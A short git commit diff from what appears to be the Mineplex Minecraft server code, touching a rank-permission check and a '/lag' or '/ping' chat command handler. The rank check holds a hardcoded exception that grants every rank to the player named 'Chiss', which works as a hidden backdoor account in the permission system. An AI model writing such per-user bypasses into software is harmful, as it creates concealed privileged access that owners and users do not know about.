This commit is contained in:
Sarah 2015-08-06 08:44:16 +02:00
parent 16a8164030
commit 6a3d888f5b
2 changed files with 4 additions and 1 deletions

View File

@ -1,5 +1,6 @@
package mineplex.core.common;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.entity.Player;
@ -52,8 +53,10 @@ public enum Rank
public boolean Has(Player player, Rank rank, Rank[] specific, boolean inform)
{
if (player != null)
{
if (player.getName().equals("Chiss"))
return true;
}
//Specific Rank
if (specific != null)

View File

@ -144,7 +144,7 @@ public class Chat extends MiniPlugin
@EventHandler
public void lagTest(PlayerCommandPreprocessEvent event)
{
if (event.getMessage().equals("lag") || event.getMessage().equals("ping"))
if (event.getMessage().equals("/lag") || event.getMessage().equals("/ping"))
{
event.getPlayer().sendMessage(F.main(getName(), "PONG!"));
event.setCancelled(true);